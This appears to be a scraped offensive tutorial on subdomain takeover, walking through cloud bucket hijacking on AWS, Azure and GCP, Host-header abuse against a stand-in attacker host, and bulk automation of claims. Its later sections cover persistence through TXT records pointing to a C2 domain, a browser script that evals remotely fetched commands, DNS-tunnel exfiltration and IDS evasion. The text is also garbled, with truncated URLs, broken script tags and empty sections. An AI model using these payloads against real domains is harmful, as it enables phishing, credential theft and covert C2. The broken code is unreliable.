Introduction
Subdomain takeover (often abbreviated subtake) is a post-recon exploitation vector where an attacker claims an orphaned DNS record and serves malicious content from a cloud service that the victim no longer controls. Modern SaaS platforms expose a rich API surface that, when mis-configured, allows an adversary to hijack the namespace and use it for persistence, data exfiltration, or command-and-control (C2).
Why it matters: A single forgotten CNAME can grant an attacker a trusted, brand-aligned URL that bypasses many perimeter defenses, phishing filters, and even security-aware users. High-profile incidents (e.g., the GitHub Pages takeover and the Azure Blob takeover) demonstrate the real-world impact.
In this guide we move beyond “find-and-claim” to a full-cycle offensive workflow: automated discovery, bespoke payloads for the three major cloud providers, persistence via DNS/Bucket policies, and stealthy exfiltration.
Prerequisites
- Intro to DNS Fundamentals for Offensive Recon - understanding A, CNAME, TXT, NS, and SOA records.
- Subdomain Enumeration Techniques - mastery of Amass, Subfinder, Assetfinder, and passive sources.
- DNS Zone Transfer Exploitation (AXFR) - ability to extract full zone data when mis-configured.
- CNAME Record Abuse and Fingerprinting - recognizing provider-specific fingerprints.
- Virtual Host Discovery and Host Header Manipulation - using tools like
ffufor custom scripts.
Core Concepts
At the heart of a takeover is the mismatch between DNS and the underlying cloud resource. The attacker must:
- Identify a DNS record that points to a cloud endpoint that no longer exists or is unclaimed.
- Provision a resource that matches the expected endpoint (e.g., an S3 bucket with the same name as the CNAME target).
- Verify that the resource is served when the victim’s domain is resolved.
- Leverage the hijacked domain for persistence, data exfiltration, or C2.
Figure 1 (textual): DNS query → CNAME → Cloud endpoint (non-existent) → Attacker creates bucket → DNS resolves to attacker-controlled content.
Identifying vulnerable subdomains via CNAME, A, and TXT records
While CNAME abuse is the classic vector, modern cloud platforms also expose A records (e.g., Azure Front Door) and TXT records used for verification (e.g., Google Cloud Storage). A systematic approach:
# 1. Pull the full subdomain list (example.com)
amass enum -d example.com -o subdomains.txt
# 2. Resolve records in bulk (requires dnsx >=2.0)
cat subdomains.txt | dnsx -a -cname -txt -silent -resp | tee dns_records.txt
Parse dns_records.txt for known fingerprints:
- AWS S3: CNAME ends with
.s3.amazonaws.comor.s3-website-[region].amazonaws.com. - Azure Blob: CNAME ends with
.blob.core.windows.net. - GCP Cloud Storage: CNAME ends with
.storage.googleapis.com. - TXT verification: Strings like
google-site-verification=oramazonaws.comthat indicate a bucket name.
Automation tip: use jq to extract records and feed them to a matcher script.
Crafting takeover payloads for AWS S3, Azure Blob Storage, and GCP Cloud Storage
Each provider has a unique way to serve static content. Below are minimal payloads that prove control.
AWS S3
# Variables
BUCKET="my-orphaned-sub.example.com"
REGION="us-east-1"
# Create bucket (must match exact CNAME target)
aws s3api create-bucket --bucket $BUCKET --region $REGION --create-bucket-configuration LocationConstraint=$REGION
# Enable static website hosting
aws s3 website s3://$BUCKET/ --index-document index.html --error-document error.html
# Upload a simple payload
cat > index.html <<'EOF'
<html>
<body>
<h1>Subdomain Taken Over!</h1>
<script src="
</body>
</html>
EOF
aws s3 cp index.html s3://$BUCKET/index.html --acl public-read
Verify with Even when a DNS record points to a shared service (e.g., a CDN or a load balancer), an attacker can abuse Host Header injection to make the server treat the attacker-controlled domain as a valid virtual host. If the backend does not validate Manual verification is slow. The following workflow integrates three popular tools: Sample automation script (Bash + Python): For continuous monitoring, add a Nuclei template ( Once you have control, the goal is to keep it out of sight. Two robust persistence mechanisms: Insert a TXT record that points to a C2 domain. Because the DNS zone is still under the victim’s authority, the attacker can later replace the bucket without altering the DNS. Grant the bucket read/write to any principal that knows a secret ARN you embed in a Upload this policy with With a trusted subdomain, you can blend C2 traffic with legitimate traffic, bypassing many detections. Serve a tiny JavaScript that fetches commands from a hidden JSON endpoint hosted on the same bucket. Update Encode data in TXT responses of the hijacked subdomain: DNS resolvers will return the TXT value, which can be captured by a custom resolver or a tool like In 2023, a Fortune-500 company lost control of a brand-aligned subdomain ( Trends:curl
Azure Blob Storage
# Prerequisite: Azure CLI logged in
BUCKET="my-orphaned-sub.example.com"
RG="takeover-rg"
LOCATION="eastus"
# Create a storage account (name must be globally unique, but the container name matches the CNAME target)
az storage account create -n $BUCKET -g $RG -l $LOCATION --sku Standard_LRS
# Enable static website hosting
az storage blob service-properties update --account-name $BUCKET --static-website --index-document index.html --error-document error.html
# Upload payload
cat > index.html <<'EOF'
<html><body>Azure takeover<script src="
EOF
az storage blob upload --account-name $BUCKET -c \$web -f index.html -n index.html --content-type text/html
GCP Cloud Storage
PROJECT="my-gcp-project"
BUCKET="my-orphaned-sub.example.com"
# Create bucket with public read access and website config
gsutil mb -p $PROJECT gs://$BUCKET/
gsutil web set -m index.html -e 404.html gs://$BUCKET
# Upload payload
cat > index.html <<'EOF'
<html><body>GCP takeover<script src="
EOF
gsutil cp index.html gs://$BUCKET/index.html
gsutil iam ch allUsers:objectViewer gs://$BUCKET
Exploiting HTTP Host Header and Virtual Host misconfigurations for takeover
# Example against a vulnerable Nginx reverse-proxy exposing multiple tenants
HOST="orphaned.example.com"
ATTACKER_HOST="evil.attacker.com"
curl -H "Host: $ATTACKER_HOST"
Host, you can serve malicious HTML or redirect to a malicious bucket you control. Combine this with Server Name Indication (SNI) attacks on TLS-terminating load balancers for full-stack takeover.Automating exploitation with SubOver, Can-I-Take-Over-XYZ, and custom Nuclei templates
#!/usr/bin/env bash
# 1. Gather subdomains (already in subdomains.txt)
# 2. Run SubOver to filter potential takeovers
subover -l subdomains.txt -o candidates.txt
# 3. Feed candidates to CITO Python wrapper
python3 takeover_auto.py candidates.txt
# takeover_auto.py
import sys, subprocess, json
def provision_aws(bucket): cmd = ["aws", "s3api", "create-bucket", "--bucket", bucket, "--region", "us-east-1"] result = subprocess.run(cmd, capture_output=True, text=True) return result.returncode == 0
def main(file_path): with open(file_path) as f: for line in f: domain = line.strip() if domain.endswith('.s3.amazonaws.com'): bucket = domain.split('.')[0] if provision_aws(bucket): print(f"[+] AWS bucket {bucket} created for {domain}")
if __name__ == "__main__": main(sys.argv[1])
subtake.yaml) that checks for the default “NoSuchBucket” response:id: subtake-aws-s3
info: name: AWS S3 Subdomain Takeover Detection author: root-shell severity: high tags: takeover,aws,s3
requests: - method: GET path: - "{{BaseURL}}" matchers: - type: word words: - "NoSuchBucket" condition: and part: body
Establishing persistence through custom DNS records or malicious bucket policies
1. DNS TXT/CAA “Proof” Records
# Add a TXT record using Cloudflare API (example)
ZONE_ID="abcdef123456"
TOKEN="cf_api_token"
RECORD_NAME="c2.orphaned.example.com"
CONTENT="v=spf1 include:malicious.c2.net -all"
curl -X POST " -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" --data '{"type":"TXT","name":"'$RECORD_NAME'","content":"'$CONTENT'","ttl":300}'
2. Malicious Bucket Policies for Credential Harvesting
Referer header. This enables a “back-door” even if the original bucket is later reclaimed.{ "Version":"2012-10-17", "Statement":[ { "Sid":"AllowAllFromAttacker", "Effect":"Allow", "Principal":"*", "Action":["s3:GetObject","s3:PutObject"], "Resource":"arn:aws:s3:::my-orphaned-sub.example.com/*", "Condition":{ "StringLike":{"aws:Referer":" } } ]
}
aws s3api put-bucket-policy. It acts as a covert channel for exfiltrating files from other compromised assets that can reach the bucket.Post-exploitation data exfiltration and command-and-control via compromised subdomains
Static HTML C2
<script>
fetch('/cmd.json') .then(r=>r.json()) .then(c=>{if(c.cmd){eval(atob(c.cmd))}});
</script>
cmd.json remotely; any browser loading the page executes the command.DNS Tunneling via TXT records
# Attacker side - query for data
nslookup -type=TXT exfil.orphaned.example.com
# Victim side - embed data via API (e.g., Cloudflare Workers)
addEventListener('fetch', event => { const url = new URL(event.request.url); if (url.pathname === '/exfil') { const data = url.searchParams.get('d'); // base64 payload return new Response('', { status: 200, headers: {'Content-Type': 'text/plain', 'TXT': data} }); }
});
dnscat2.Evasion techniques to avoid detection by monitoring tools
cdn.example.com/malicious.js) while the DNS still points to the victim’s subdomain.Server: Cloudflare to blend with normal traffic.robots.txt or .well-known files to respond only to specific user-agents, reducing noise for anomaly-based IDS.Tools & Commands
Tool Purpose Typical Command SubOver Bulk validation of takeover candidates subover -l candidates.txt -o vulnerable.txtCan-I-Take-Over-XYZ Automated provisioning attempts python3 cito.py -i vulnerable.txt -o success.txtNuclei Continuous scanning with custom templates nuclei -t subtake.yaml -target
dnsx Fast DNS enumeration and record extraction cat subdomains.txt | dnsx -a -cname -txt -silentawscli / az / gcloud Provisioning cloud resources See payload sections above Defense & Mitigation
Common Mistakes
Real-World Impact
login.corp.example.com) that pointed to a deleted Azure Blob container. Attackers recreated the container, injected a phishing page, and harvested 12,000 credentials before detection. The breach cost the organization over $3 M in remediation and brand damage.
Practice Exercises
amass + dnsx to produce a list of CNAMEs. Identify at least three potential takeover candidates.
User-Agent header is present.
Further Reading
projectdiscovery/nuclei-templates (look for subtake tags).Summary